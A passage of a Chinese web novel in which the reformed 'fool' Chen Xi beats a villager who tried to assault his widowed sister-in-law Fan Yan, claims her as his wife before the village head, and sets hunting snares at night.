猛然回头,一看是红着眼的陈息,肩上还扛着一个什么东西。
顿时惊得目瞪口呆。
“你...你...你不是被熊瞎子咬死了吗?”
陈息压根不跟他废话,双手握住傻狍子后腿。
将傻狍子当成麻袋抡圆了,照着王麻子身上狠狠砸去。
“砰——”
傻狍子肥硕的身子砸在王麻子身上,连人带傻狍子一起砸在干草堆中。
“陈二傻子,你踏马敢打我?”
王麻子被砸的晕头转向,嘴里呸的一声吐出几根干草,继续骂着。
陈息的性子他很清楚,虽然是傻子,但属于那种憨厚的傻。
哪里敢动手打人?
今天这是反了天不成?
陈息目眦欲裂,真当我还是那个傻子?竟敢欺负到我嫂嫂头上了。
今天就算天王老子来了都不行。
定要狠狠踹死你。
此刻怒火已经侵蚀理智,上前就往王麻子裤裆上踩。
“不就是这个祸根么,今天我就废了你!”
“砰砰砰——”
樊妍见陈息进门就将王麻子打倒,先是一愣随后大惊。
紧接着便是疯狂踩王麻子,继而心头又是一紧。
“叔叔你不要!”
但此刻暴怒的陈息哪里听得进去话,王麻子死死捂住裆部,口中哀嚎不断。
陈息踩不到裆,气的一只大脚狠狠踩在王麻子肚皮上。
“砰——”
“我让你欺负嫂嫂!”
“砰——”
“我让你欺负嫂嫂!”
王麻子被踩的七荤八素,嘴里发出渗人惨叫。
“叔叔你快住手。”
樊妍顾不得许多,一把抱住陈息大腿,身上大片雪白裸露在外也不管不顾。
“叔叔快住手,不然要出人命啦。”
听见嫂嫂撕心裂肺哭喊,陈息这才逐渐恢复理智。
看嫂嫂光着身子,只有一些干草遮住重要部位。
迅速把袄脱下来,遮住嫂嫂春光,急声问道:
“嫂嫂,这畜生有没有欺负到你?”
“呜呜呜,叔叔,我听见脚步声就躲干草堆里了,呜呜呜,他没欺负到我。”
陈息一听嫂嫂没被欺负到,悬着的心总算放下。
樊妍依旧死死抱住陈息大腿,生怕他发怒给王麻子踩死。
闹出人命官府查下来,叔叔一定会被砍头的。
就算不砍头,也要发配充军,村里好多人被充军了,至今都没有活着回来一人。
“叔叔叔叔,你听嫂嫂话,别打了。”
樊妍带着哭腔努力劝说陈息。
此刻陈息才逐渐恢复冷静,刚才怒火攻心,险些酿成大祸。
一指王麻子:
“畜生,给我嫂嫂跪下磕头道歉!”
“不然今天我打死你。”
王麻子捂着裤裆,胯下传来钻心疼痛。
佝偻着爬向房门,见陈息被樊妍劝住,瞬间来了底气。
傻子就是傻子,难不成你还敢杀人?
脑袋灵光一闪,一条毒计涌上心头。
扯着脖子向外大喊:
“出人命啦,出人命啦!”
“傻子要杀人啦!”
“傻子和嫂子通奸,被我撞破要杀人灭口啦!”
这几嗓子喊出去,村里邻居纷纷赶来围观,这是出了什么情况?
有拿着锄头的,还有拿木铲的,不多时便将陈息小院围的水泄不通。
见村民都来了,王麻子更加有底气了。
“大家快来看呐,傻子和嫂子通奸,还要杀人啦!”
村民涌进屋子,见陈息眼睛通红的站在干草堆边。
樊妍上身穿着袄,下身躲在干草堆里,双手死死抱住陈息大腿不放手。
王麻子哆嗦着指向二人,嘴里不断嚷嚷着叔嫂通奸,杀人灭口。
当即有不明真相的村民站出来指责:
“陈息,你怎么能如此混蛋,那可是你嫂嫂!”
“还有樊妍你个贱婆娘,自己男人刚死就勾搭小叔子,呸,不知廉耻!”
“把他们两个抓去报官,这种贱婆娘就该浸猪笼!”
“对,这贱婆娘不守妇道,乱了伦理纲常啊。”
面对众村民指责,樊妍嘶哑着嗓子连忙开口解释:
“不是啊,不是这样的。”
樊妍哭的嗓子沙哑,随即抬手指向王麻子嘶声喊道:
“是他!”
樊妍眼泪簌簌的往下掉,期盼的眼神看向众村民,不住的解释:
“是他趁叔叔不在家,进门欺负我,幸亏叔叔回来及时,不然......”
“不然......呜呜呜。”
樊妍说到此处,实在是说不下去了。
已经哭的泣不成声,如果不是陈息及时回来,自己被王麻子欺辱,只有一死保全名声。
“你个贱婆娘满嘴胡言,我王麻子在村里何时欺辱过人?”
“分明是你们叔嫂通奸被我撞破,那傻子还想杀人灭口!”
王麻子被樊妍说的冷汗直流,事情要是败露了,自己真的没有好下场。
虽说村长是自己姐夫,但事情传开了也保不住自己。
王麻子只能一条道跑到黑,死命的栽赃陷害。
“王麻子你撒谎!”
这时村民中,有几个孩童从大人腿间钻了出来。
其中一个年岁稍大点的孩童,一指王麻子声音很是稚气:
“刚才我和小六子他们在村口堆雪人,眼看傻子扛着大狍子从村口路过。”
“腰间还别着几只好看的松鼠呢。”
孩童的爹立即捂住孩童口,厉声警告:
“小虎子你别乱说,这都是大人的事,小孩子别插嘴。”
“唔唔唔......”
小虎子挣脱捂着嘴的大手,继续说:
“爹我没说谎,小六子他们都能作证。”
“我们跟着傻子来的,还想着能不能分口肉吃呢。”
“对对对,小虎子说的没错,我们想吃肉,都一起跟来的。”
小六子和几个差不多大的孩童,齐声为小虎子作证。
孩童们说完,众村民你看看我,我看看你,一时竟没了主意。
要真如小虎子所说,我们还真冤枉了陈息叔嫂啊。
小虎子他爹再次捂住小虎子嘴,双腿吓得直哆嗦。
这孩子怎么这么不懂事,王麻子姐夫可是村长,这样人物咱能招惹的起吗?
随即讪讪一笑,对着王麻子解释:
“小孩子说话当不得真啊,当不得真。”
王麻子则是眼睛一瞪,语气充满威胁:
“你们几个小崽子滚一边去,撒谎撒在我头上,是不是欠揍了!”
孩童们被王麻子凶神恶煞样子吓怕了,顿时躲在大人身后,低着头不敢吱声。
“都让开都让开,吵吵什么呢吵吵!”
一道骂骂咧咧声音传来,村民闻声自动让出一条路。
村长张保全穿着一身鹿皮袄,晃着肥大身子进屋。
王麻子见姐夫来了,顾不得胯下疼痛,爬起身子搬来一个木凳,谄媚的放在张保全身后。
“姐夫坐,姐夫坐!”
张保全白了小虎子爹一眼,大大咧咧坐下。
“管好你家孩子嘴,别整天造谣生事!”
“是是是,村长您说的对,回去我一定好好管管这孩子!”
小虎子爹连忙踢了几脚孩子,站在张保全身后老老实实不敢动。
王麻子见姐夫给自己出头,心中更加有底气。
麻利的找出一个木碗用袖子仔细擦了擦,再从大锅里盛出一碗热水。
怕姐夫烫着,还贴心的小口吹了吹热气,躬着身子双手递上。
“姐夫您咋来啦,大冷天的赶紧喝口热水暖暖身子。”
张保全见小舅子递来木碗,接在手里抿了一口,然后翘起二郎腿盯着陈息说道:
“说说吧,怎么回事?”
陈息见村长进屋一系列做派,心里直犯恶心。
村子都穷成什么样了,你还挺着大肚子,穿着鹿皮袄。
还有王麻子那谄媚样子,呸!
一丘之貉!
陈息站的笔直,沉声道:
“王麻子趁我不在家,想欺辱嫂嫂被我撞见揍了一顿!”
“村长你说是让他跪下道歉,还是报官?”
樊妍闻言吓了一跳,轻轻在陈息大腿拧了一下,望向陈息的眼里满是哀求。
王麻子和村长是亲戚,她可不敢奢求王麻子道歉,只要事情化解了最好。
咱老老实实过日子,根本得罪不起他们。
“哼,胡说八道!”
“分明是你们叔嫂通奸,本村长立即押你们去县衙关押!”
张保全此言一出,村民之中一阵骚动。
看来这陈家,保不住了啊!
第一卷 第6章 王麻子下跪磕头
张保全说完话,立即有胆大的村民拿着绳子上前,想要绑住陈息。
樊妍躲在干草堆里,见此情形脑中如五雷轰顶。
自己死了不要紧,还连累了叔叔和自己一起死。
我对不起叔叔,对不起陈家,陈家绝后了呀。
原本她还幻想着叔叔傻病好了,以后努力给叔叔娶一房婆娘为陈家延续香火。
可美好的幻想瞬间破碎。
那种撕裂心脏般刺痛,令樊妍痛不欲生。
不行,绝对不行。
我要把所有罪名揽下,哪怕浸猪笼也无所谓,一定要保全叔叔性命。
樊妍下定决心,想承认是自己勾引小叔子,承认自己是贱妇人。
一切都与叔叔无关。
就在樊妍下定决心,想独揽所有罪名时。
一道声音在屋内炸响。
“谁说我们通奸的?”
“樊妍是我陈息明媒正娶的妻子!”
陈息此言一出,所有人都震惊当场。
包括还在洋洋得意的王麻子,和老谋深算的张保全。
“你......你......你胡说,你什么时候娶的嫂嫂,我们怎么不知道?”
王麻子声音尖锐,他可不想在这紧要关头被陈息翻盘。
官府确实有规定,弟弟是可以续娶寡嫂的,陈息这么说是行得通的。
可他行得通了,自己就没法解释了啊。
人家男人不在家,自己却出现在别人家里,说到哪里都不占理啊。
王麻子双腿不自觉颤抖,没有别的办法了,只能硬着头皮强词夺理。
“王麻子说的对,你一个傻子什么时候娶的嫂嫂,我们大家都不知道。”
小虎子爹此时也站出来为王麻子说话。
刚才自己儿子已经得罪了王麻子,张保全还白了自己一眼。
这时不站出来维护王麻子,事后一定会被清算。
小虎子爹不光自己说,还发动和自己要好的几个村民一块说。
“官府有规定,傻子是不能娶妻的,傻子生子还是傻子,白白浪费粮食,大家说对不对?”
“对对对,你个傻子娶什么婆娘。”
“休想以娶嫂嫂作为理由,还是乖乖让我们绑了送官吧。”
王麻子见村民都为自己说话,双腿也不抖了,底气也更足了。
呵呵,跟我斗,你一个傻子还不够资格。
樊妍此时已经绝望,她知道陈息这么说的目的,无非是想保全自己名声。
她一点也不怪陈息,甚至当他说出那句,自己是陈息明媒正娶的话。
心中强烈悸动涌起,一种被自己男人保护的幸福感油然而生。
但现在说什么都晚了,还是自己揽下所有罪名吧。
算是嫂嫂最后为叔叔做的补偿吧。
叔叔你一定要好好活着,嫂嫂在下面保佑你。
樊妍再次想要开口揽下所有罪名,小手突然被一张大手握住。
手心传来的温暖,立即燃起那颗将死的心。
举目看去,却见到陈息一张俊脸含笑,轻轻冲自己点了点头。
霎时间,一股强烈的安全感笼罩全身。
叔叔他这是......
就在樊妍被一股强大安全感笼罩的失神时,陈息再度开口:
“慢着,谁说我是傻子了?”
噗通一声,陈息单手将身后的狍子丢在屋中央。
又把腰间剥了皮的野兔丢出来,系下草绳还串着七只松鼠。
“说我傻子?”
“哪个傻子能一天时间打这么多猎物?”
想要上前捆绑陈息的村民顿时傻眼了。
你看看我,我看看你。
是啊,哪个傻子能打这么多猎物?
又是松鼠,又是野兔,还有一只大狍子。
别说是傻子了,就他们这些正常人也不可能一天打这么多猎物啊。
王麻子也傻了,傻傻的看着地上狍子,刚才我是被这东西砸中的吧!
那时做贼心虚,再加上被人坏了好事乱了心情,根本没留意草堆中的狍子。
王麻子摸了摸脖子,还揪出一撮狍子毛。
尴尬的在手中捏了捏,一种不祥的预感随之而来。
“对,小息早就不傻了,今早我们亲眼看见小息背着猎弓去打猎。”
人群中站出一位妇人,正是今早在门口帮陈息说话的张婶。
张婶推开想要拉住她的妇人,深吸一口气继续道:
“今早我们看着小息上山打猎,扛着猎物回来时还被村口小虎子他们看见了。”
“小孩子童言无忌不可能撒谎,大家刚刚也都听见了。”
“所以说小息不傻了,还能打猎呢,娶婆娘不是正常嘛!”
张婶说完话,回头看了看今早一起调侃陈息的另外几个妇人。
那几个妇人抿着嘴,犹豫再三最终鼓起勇气站了出来。
“张婶说的对,今早我们都看见小息上山打猎了。”
“小息都能打猎了,娶个婆娘是正常的。”
“对,小息根本不傻,村里你们这些汉子哪个能猎到狍子?”
“小息要是傻,你们这帮汉子就是连傻子都比不过。”
几个妇人豁出去了,七嘴八舌的为陈息证明。
说的那些男村民都红着脸抬不起头。
是啊,村里唯一的猎户就是陈息哥哥。
不过陈息哥哥都死了。
别说狍子了,就算一只野鸡,他们也打不到啊。
一来是没有狩猎工具,二来是没有狩猎技巧。
山中野猪啊,猛兽啊,经常祸害庄稼和牲禽,以前都是陈息哥哥帮大家驱离的。
要说打猎,他们还真没那个本事。
几个妇人说完,满堂寂静。
王麻子已经汗如雨下,他现在才反应过来。
陈息确实和以前不一样了,以前话都说不利索,更别说敢打自己了。
现在却能说的自己哑口无言,看来他的傻病确实好了。
“都说完了吧?”
一道威严声响起,张保全眯着双眼从木凳上站起身来。
几个妇人见村长起身,也都闭了嘴。
张保全目光扫视众人一圈,在张婶和几个妇人面前停留一瞬,又挪开。
感受到村长不善目光,几个妇人低着头退了回去,只有张婶依旧站在那里寸步不移。
“哼,不傻了又怎样?”
“不傻了就能打人?”
“看看把王麻子都打成什么样了?”
张保全撩起王麻子衣服,露出一个大脚印,通红的肚皮亮给众人看。
“陈息,先不说你娶嫂嫂这事,打人这件事你怎么解释?”
陈息先是感激的看了眼张婶和那几个妇人,又转头盯着张保全。
声音清朗,不卑不亢:
“我哥被熊瞎子咬伤,回到家中就把嫂嫂托付于我。”
“命嫂嫂续嫁我为妻,为我陈家传宗接代!”
“长兄临终之托,弟不敢不从,嫂嫂也已答应我哥。”
“从我哥死的那天起,她樊妍就是我陈息妻子,我们白首不移!”
陈息说着话,一脚踩在狍子身子上,继续朗声道:
“至于打人这件事,完全是王麻子贪图我妻子美色,趁我不在家想欺辱我妻子。”
“按我大御律法,强占他人之妻,轻则发配充军,重则直接斩首!”
“我没打死他,都是轻的!”
陈息眯起双眼凑近,目光如电直视张保全:
“村长,这件事你怎么看呢?”
张保全同样眯起双眼盯着陈息,空气中似有火花闪现。
十个呼吸过后,张保全突然大笑出声,伸出一只手,重重拍了两下陈息肩膀。
“打得好,打得漂亮!”
一扭头看向王麻子:
“给人家道歉!”
王麻子哆嗦着大口喘着粗气,知道姐夫这是在保全自己,不然事情传到官府,麻烦可就大了。
“陈息,我错了,我向你道歉。”
陈息见王麻子那怂样,随即嗤笑一声。
“刚才我怎么说的来着?”
一指王麻子那张恶心的脸。
“我说让你跪下磕头,给我妻子道歉,你是忘了么?”
王麻子见陈息抓住不放,自己又拿不定主意,转头看向张保全,想看看姐夫什么意思。
只见张保全仰头看着房梁,压根没看自己一眼。
王麻子内心绝望,看来今天的人是丢尽了。
“噗通!”
王麻子跪在樊妍面前,在地上磕了个响头:
“陈家嫂嫂,我王麻子向您道歉,您大人不记小人过,放我一次吧!”
王麻子跪下,在场所有村民都倒吸一口凉气。
他居然真的跪了?不光跪了,还给陈家嫂嫂磕头了?
我没眼花吧?这还是那个在村里横行霸道的王麻子吗?
事情发生的突然,所有人都震惊的望着陈息。
光凭一张嘴,就能逼得村长妥协,王麻子下跪磕头道歉。
这还是那个傻子吗?
有心思活络的村民,甚至已经在想主动讨好陈息。
不光有本事打猎,头脑还清晰,说出的话针针见血。
窝窝村啥时候出来这种人物了。
樊妍由于没有裤子,躲在干草堆里尴尬的连连摆手:
“王麻子你别说了,只要你不继续骚扰我们就好。”
“好好好,多谢陈家嫂嫂。”
见王麻子道完了歉,张保全活动一下僵硬的脖子。
“好,你和王麻子的事解决完了,下面说说你猎户的事吧。”
陈息闻言,目光不善的盯着张保全,就知道你还有下文,我倒要看看你能整出什么幺蛾子?
“按我大御律法,村中有猎户必须要向县里递交牙册!”
“每个猎户至少娶三房妻子,交三份人头税!”
“既然你也是猎户了,你哥哥又把嫂嫂续嫁于你,你便负责交她们的人头税。”
“猎户牙籍,一共三房妻子加上你,共四份人头税。”
“明天递交了牙册,我带送亲队把剩余的两房妻子给你送来!”
“下个月就是交人头税的时限!”
张保全一指陈息,眼神戏谑道:
“准备好银钱,交不上税,可是要发配充军哟!”
“都散了吧,回家睡觉!”
张保全说完话,转头出门,身后一众村民有的幸灾乐祸,有的摇头叹息纷纷离去。
张婶看着张保全离去,扭头轻轻呸了一声!
还有几个壮年,目光复杂的看着陈息,想要上前套近乎,却又觉得此时不合适。
再看了看地上的狍子,已经羡慕到了极致。
“陈息,我们就先走了,以后有需求随时开口,我们都帮你!”
说罢,再次看了一眼地上的狍子,依依不舍离去!
第一卷 第7章 美美吃上一顿
“张婶你别走,待会带一条狍子腿回去打打牙祭。”
陈息感激张婶为自己说话,想要给张婶割一条狍子腿肉。
“是啊张婶,平时你都没少接济我,还请不要嫌弃。”
村民虽然都走了,樊妍还是不敢离开干草堆,下身光着呢,怎么好意思嘛。
张婶看着狍子肉眼馋,但想到村长离开时的话,还是于心不忍。
那是足足四份人头税呀,怎么可能交得起。
虽说陈息侥幸打到一只狍子,但距离交税钱还差的老远。
只有一月时限,村长明天还要送来两个婆娘,一下子又多了两张嘴吃饭。
张婶替陈息想想都头疼。
“现在小息傻病好了,你们俩好好过日子比什么都强。”
“狍子肉张婶就不要了,等以后你们发达了,再给张婶吧!”
张婶话是那么说,但在这个兵荒马乱的世界,怎么可能发达呀。
不被抓去充军,已是最好结果。
大病刚好的叔叔,善良的嫂嫂,一对苦命的人呐。
张婶说着陈息和樊妍,又何尝不是对自己说呢。
朝廷战乱加上天灾粮食减收,百姓想吃一顿饱饭都难,更有高额赋税压在身上。
一天能喝上两顿稀粥的家庭,都是上等家庭。
不少流民、兵患、上山为匪,掠夺百姓本就不多的粮食。
唉。
将张婶送出院门,陈息回屋关好了房门。
连忙把裤子脱下来,借着灶台烘烤暖了才给樊妍递去。
“嫂嫂你穿,我扒下来狍子皮遮身。”
樊妍接过,感受手中烘烤暖暖的裤子,并未急着穿上,而是看向陈息神情复杂难明。
“还叫嫂嫂?”
陈息正在熟练的扒狍子皮,听见樊妍语气中带着幽怨,愣了一瞬随即反应过来。
是啊,确实不应该再叫嫂嫂了。
刚才为了避免祸端,才对众村民撒谎说,哥哥把嫂嫂续嫁自己。
祸端是避免了,但接下来怎么办呢?
大御的女人最重名节,樊妍更是如此。
不然自己哥哥死后,她完全可以改嫁的,岂能还照顾着傻小叔子。
“那个......那个......”
陈息张了半天嘴,始终没找出来一个恰当词来称呼。
樊妍也不搭话,就那么眼神似幽怨似期盼的盯着自己。
陈息被那种眼神看得心里发毛。
嫂嫂这么漂亮,还对自己那么好。
以后打个豹纹......呸呸呸!
自己怎能有非分之想。
罢了!
大丈夫何患无妻,不能对不起前身大哥!
一咬牙一跺脚。
“娘子!”
不是陈息贪图嫂嫂美色,完全没啥理由,也不需要啥理由。
突然就嗓子刺挠,就想喊句娘子,怎么滴吧?
樊妍盯着陈息,直到他喊出那句娘子,心脏仿佛被狠狠捏了一下。
紧接着噗呲一下笑出声来。
娇羞之下脸蛋儿红红的,在灶火映衬中更显得温婉动人。
白了陈息一眼:
“转过头去。”
“好嘞。”
陈息重重呼出一口气,手里虽然扒着狍子皮,心思却早飞到九天之外。
这......这就算是定下了?
只是......只是这手段,有点......有点不要脸呀。
陈息在心里把自己骂了一万遍,无耻啊,贪图嫂嫂美色。
“其实......其实你哥哥临死前,真的把我托付给你的。”
陈息愣住,扒着狍子皮的双手微微颤抖。
蒙......蒙对了?
回想一下,哥哥死前确实在屋内和嫂嫂在交代些什么。
只是那时前身傻了吧唧的在外屋烧水,根本没听见对话,事后嫂嫂也没说。
“哎!”
樊妍幽幽一叹。
“你哥哥先是劝我改嫁,我不肯。”
“最终你哥哥拗不过我,才说如果你的傻病好了,许我续嫁于你。”
“那......那你答应了?”
樊妍把头埋的很低,马上就要贴到高耸胸前。
白皙的耳朵根此刻都臊的通红。
“嗯。”
一声嗯,细弱蚊蝇,但陈息还是听的真真切切。
“哈哈哈!”
陈息听完挠了挠脑袋咧嘴大笑,这回妥了。
名也正,言也顺!
从今起,你就是我的娘子了。
心中一块大石落地,陈息顿觉畅快无比。
望向樊妍的眼神也充满了神采。
樊妍看着陈息如此开心,心中同样开心极了。
但女人矜持还是死死压住她悸动的情感神经。
伸出手来帮陈息扒狍子皮,轻声道:
“笑的那傻样。”
突地眉头一紧,似乎是想起了什么,拉住陈息大手,关切之情溢于言表:
“下次再也不许像今天这样冲动了,要是你出了什么意外,我......我......”
樊妍整理思绪,刚想说出我也不活了,突然被陈息一把拉入怀中,一道温柔宠溺声音传来:
“娘子请放心,没有下次。”
下次?
不可能有下次的。
陈息目光冷冽。
王麻子如果还敢招惹我,我定让他生不如死。
“嗯。”
得到陈息保证,樊妍心总算放下。
在陈息温暖的怀中,似小猫般蹭了一会,才依依不舍的离开。
这时才开始注意到眼前的狍子。
“呀,这......这真是你打来的狍子?”
樊妍今晚经历的事太多,心情也像坐过山车一样。
从开始时的一心寻死保全陈息,到现在事情尘埃落定。
大起大落间令她神情恍惚,如今镇定下来才看着大狍子吃惊。
这真是夫君打的?
眼前的一切都让她感到不真实。
从一个傻子,到现在能打到这么大的狍子,这情绪落差不可谓不大。
“哈哈哈,娘子你看你说的,如假包换。”
陈息将狍子皮拔下,围在下身,也不能总光着呀。
然后准备卸下一条狍子腿,给樊妍补补身子。
陈息正准备动手,突然被樊妍拦住:
“夫君不可,下月还要交人头税,咱家可是要交四份呢。”
“这狍子肉咱们不能吃,还是拿去换银钱交税吧。”
陈息心中暗骂王保全一声,这踏马就是公报私仇。
既然你想玩,那么小爷就陪你玩。
不知道输了的代价,你担不担得起。
“好,一切都听娘子的。”
樊妍又看见那只扒了皮的肥大野兔,开口说道:
“今天多亏了张婶她们几个帮我们说话,这只兔子拿去答谢张婶她们。”
陈息轻摇了几下头,娘子还是太善良了,不过越是这种,自己越是喜欢。
“都听娘子的。”
“但是兔子油我得割下来。”
樊妍一愣,没明白陈息要兔子油干啥。
陈息见樊妍不解,拉住她的小手,仔细看看那冻裂的伤口,一脸心疼道:
“没打到獾子,先拿兔油代替,不然我娘子这小手可要生冻疮了。”
樊妍听完陈息的话,感动的泪水止不的住下流,从小到大都没人这样心疼过自己。
这种温暖关怀令她猝不及防,心都要被融化了。
怔怔的望着陈息,嘴角在不经意间微微弯起。
无论是生是死,这辈子,便随着夫君了。
陈息将兔子脂肪刮下来放在木碗里,再把七只松鼠扒皮。
七只清洗好的松鼠连同枝条筐中的一些粟米,一起丢进锅中。
打开盐罐子,拿出一粒粗盐。
在手中捏了捏闻了闻,陈息皱了皱眉头,随后丢进锅里。
这个时代的技术落后,盐中杂质很多,吃多了对身体不健康。
即便是这种劣质粗盐,百姓们平时也吃不起。
罐里仅余的几粒粗盐,还是哥哥生前拿猎物换的。
巧妇难为无米之炊,什么都得从一丁点做起。
等日子过好了,定要把盐给提纯出来,陈息心中暗自想着。
见陈息在做饭,樊妍急忙抢过铲子嘴里急道:
“大男人怎么能做这些妇人活计,夫君休息,剩下的让我来吧。”
见樊妍坚持,陈息也不好说些什么。
“那便辛苦娘子了。”
樊妍娇嗔的白了陈息一眼:
“贫嘴。”
陈息挠挠头傻笑一声,便去将狍子的筋抽出,放在灶边烘着。
樊妍见陈息举动奇怪,一时摸不着头脑:
“咦?夫君这是做什么?”
陈息则是神秘一笑:
“到时候娘子就知道了。”
不多时,锅中的松鼠肉和粟米掺杂的香气升起。
樊妍给陈息盛了满满一大碗,碗里没有几粒粟米,全是松鼠肉。
“夫君累了一天,小心烫,慢慢吃!”
自己则是端起早上那碗野菜粥,刚要喝粥。
陈息一把夺过粥碗,咕咚咕咚两下喝完,一亮碗底。
“就喜欢这个味道。”
樊妍见陈息不吃松鼠肉却抢自己的野菜粥,愣住当场。
那东西没什么营养只能充饥,夫君干了一天活计,怎能吃这种剩粥?
“夫君...”
陈息打断樊妍,一指锅里:
“盛粥啊。”
樊妍一天没吃东西,又经历王麻子恐吓,肚子不争气的咕咕叫起来。
锅里的粥好多,自己吃少点,剩下的留给夫君。
盛了一小碗粟米粥,小口小口吃了起来。
虽说是粟米粥,但樊妍还是吃的很开心。
毕竟是肉汤煮的还加了粗盐,味道十分鲜美。
自己长这么大还没吃过如此美味的粥。
樊妍端着木碗,幸福的眉眼弯弯。
陈息又一把抢过粥碗,将自己装满肉的大碗往前一推。
“吃肉!”
语气十分霸道坚决,自己的女人自己宠,不允许这么卑微。
樊妍想要推迟,却见到陈息凌厉的眼神,想说什么却又闭嘴。
一股暖流涌遍全身,被在乎的感觉真好。
在陈息威胁的眼神下,夹起一块松鼠肉送进嘴里轻轻嚼着。
松鼠肉送进嘴中,樊妍突然眼睛一亮,好香啊!
“好吃么?”
“嗯嗯...”
“好吃就都吃光,剩了我可不许。”
樊妍当然不肯,最终陈息执拗不过,两人平分了肉,美美的吃了一顿饱饭。
从小到大,樊妍还没吃过几次肉,不住的舔着嘴唇,就连碗底都吃的精光。
陈息见她样子好笑,用手指刮掉她嘴角的残渣,随后送到自己嘴里唆了两下:
“娘子吃过的,真香!”
樊妍顿时被羞得无地自容,这狼狈吃相怎被夫君见了。
以后......以后怎么见夫君嘛。
望着陈息调笑自己的眼神,樊妍低着头呢喃道:
“夫君来我屋歇息吧。”
说完话,双眼根本不敢看陈息,两人已经确定了夫妻关系,自己当然要尽到妻子职责。
陈息宠溺的摸了摸她脑袋:
“娘子先去歇息吧,我还要做点东西。”
“夫君,我......我还是干净身子,夫君莫要......”
樊妍急了,以为陈息嫌弃自己,连忙开口解释。
陈息则是轻轻摇摇头,摸了摸她涨红的小脸:
“娘子莫要多想,我不是那个意思,这些东西今晚必须要做完。”
见陈息语气认真,樊妍也好不强求。
反正自己已经是他的人了,早一天晚一天又有什么关系呢。
“夫君今日累了一天,早些休息。”
说罢,深深看了一眼陈息,独自回屋。
目送樊妍回屋,陈息强压下身欲火,心中无奈叹息一声。
哎!
娘子啊,你以为我不想啊?
随即拿出猎刀,开始制作工具。
以后家中吃食和下月的人头税,可就要靠这些工具了。
第一卷 第8章 咋就要吃你们了?
陈息先将七只松鼠皮烘干,再用针线缝制一起,皮有些少,不够做一顶帽子。
但好歹能暂时将耳朵遮住,不至于冻伤。
再把野兔脂肪炼成护手油。
最后狍子筋已经烘干,用猎刀修成一条条细线。
用手抻了抻,感觉到韧性十足,满意的点点头。
再把哥哥生前用来防腐猎弓的桐油找来,将一根根细筋涂抹均匀。
最后开始用枝条编起一个大枝篓,两边窄中间一个大鼓肚。
拿在手中仔细看了看,满意的点点头。
收集晚饭吃剩的松鼠骨,放进枝条篓里做诱饵。
陈息前世是野外生存专家,不仅知晓各种生存方法,双手同样灵活。
制作一些简易狩猎工具,简直是小儿科。
也就是现在条件不允许,要是条件跟得上,他都能手搓个意大利炮。
用干草编制厚厚一件草衣套在身上,虽说不保暖,但也能挡些冷风。
再用草绳将狍子皮固定在下身。
虽说有技能加持,等全部完工时,已经到了后半夜。
打了一个哈欠,活动活动身子,将耳朵贴在樊妍屋门前,仔细聆听。
里面樊妍呼吸声均匀,显然已经睡熟。
拿起所有装备,轻轻推开房门,再轻轻关上。
寒风穿透草衣,陈息打了一个激灵,一瞬间便精神起来,困意全无。
将院门用木材加固一番,用手推了推,不错,挺结实。
带着所有工具再次进山。
他要在天亮之前,在西坳岭布置好所有猎套。
再把枝条篓放进东坳岭的水塘里,趁着初冬水塘冰层不厚,捕些鱼回来。
银月高悬,月光与白雪照亮夜空,视线很是清晰。
为了暖身子,陈息选择一路小跑,不多时便来到西坳领。
白天各种兽痕在他脑中历历在目,很是熟练的将猎套固定在猎物经常走的路径上。
这西坳岭根本没人来,完全不用担心猎物被其他猎人捡走的问题。
做好了一切,陈息来到东坳岭。
用石头砸开薄冰层,将枝条篓放进水塘,枝条篓末端连着一根粗绳,固定在塘边大石上。
等陈息全部弄完,回到村时天已放亮。
少数几户起得早的人家,已经升起袅袅炊烟。
由于大御朝连年征战,粮食都被征走,百姓们粮食紧缺,根本吃不起早饭。
大户人家一天也只吃两顿饭。
像陈息这种家庭,每天能吃上一顿饭,都是件幸福事情。
升起炊烟,也只是暖暖屋子而已。
“还好,院门没动。”
有了王麻子差点欺负到樊妍的这次教训,陈息可不敢再大意。
这也是他为什么选择深夜进山的原因。
推开院门,走到屋前刚想推门,屋内传来樊妍警惕声音。
“谁?”
“嫂嫂开门,我是我哥!”
咯吱一声房门开启,樊妍一脸气恼的盯着陈息。
“你当我傻,听不出你声音。”
陈息挠挠头,嬉皮笑脸走进屋子。
猛吸了一口,好香啊。
“娘子煮的粥好香。”
樊妍岔开话题,一脸担心问道:
“你昨晚怎不好好休息,干嘛去了?”
咳咳,陈息轻咳两声,将去西坳岭下猎套的事情说给樊妍听。
听的樊妍一愣一愣的,什么是猎套?什么又是枝条篓?
她不懂得这些,但听陈息咳嗽,还是心疼的搬来矮凳,扶着陈息到灶台前坐下。
“大半夜你又跑去那么危险地方做活计,赶快坐下烤火暖暖身子。”
随后又从锅中将全部的粟米粥盛出来,盛一大碗端给陈息吃。
“夫君快吃,昨夜没睡,吃完好好休息一下。”
陈息接过粥碗却是没吃,反倒将昨晚炼制的兔油拿了出来。
此时兔油已经凝结成膏,拉过樊妍小手,仔细的在裂口处涂抹均匀。
“裂口不深,每日涂抹两次,十日便恢复啦。”
说完话,再次拉过另一只小手仔细涂抹。
樊妍任由陈息在她白皙的小手上涂抹,眼睛怔怔的看着他那张俊脸。
嘴角不自觉的微微扬起,她记不清自己有多久没笑过了。
从昨天陈息保护自己赶走王麻子,再到那一声温柔的娘子叫出口。
樊妍内心已经不知沦陷了多少次。
就连昨夜梦中都是陈息样子,这种日子多好啊。
被人关怀的感觉真好。
陈息涂抹完裂口扭头一看,正和樊妍对脸。
看着她那痴痴的眼神,顿时笑了:
“娘子你脸怎么红红的?”
“呀。”
“那个......那个你先吃粥,然后好好休息一下。”
樊妍抽回小手,将头埋的很低。
又被他调笑,羞死人了。
陈息哈哈一笑,手指在樊妍俏脸上来回滑动几下,调笑道:
“哎哟,娘子这是害臊了?”
“呀,你讨厌。”
樊妍羞红了脸,想要回屋掩饰尴尬,却被陈息一把搂在怀里。
“好了不逗你了,你吃粥,我还要去县里将狍子卖了换银钱。”
樊妍连忙转过身来,对上陈息调笑的眼神,顿时把头埋进陈息胸膛,不叫他看见自己羞臊。
“那个不急,你先把粥吃了,休息一下再走嘛。”
陈息下巴在樊妍头发上蹭了蹭,双手在她后背上轻轻拍着:
“听话,把粥吃了,晚上夫君给你买新袄回来。”
樊妍自然不肯,想要陈息吃好休息好再走,却换来陈息佯怒表情和威胁的眼神。
“听不听夫君的话?”
樊妍抿了抿嘴唇,半晌才吐出一个字:
“听。”
陈息再次哈哈一笑,揉了揉樊妍脑袋。
“这不就对了嘛。”
“在家等我。”
说罢,刚想扛起狍子到县里换银钱。
就在此时,院子里传来几道声音。
“大人,就是这家,就是这家。”
“带我们过去。”
“是是是大人。”
陈息推开房门,只见张保全和王麻子躬着身,引领两个官兵服饰的中年人进了院子。
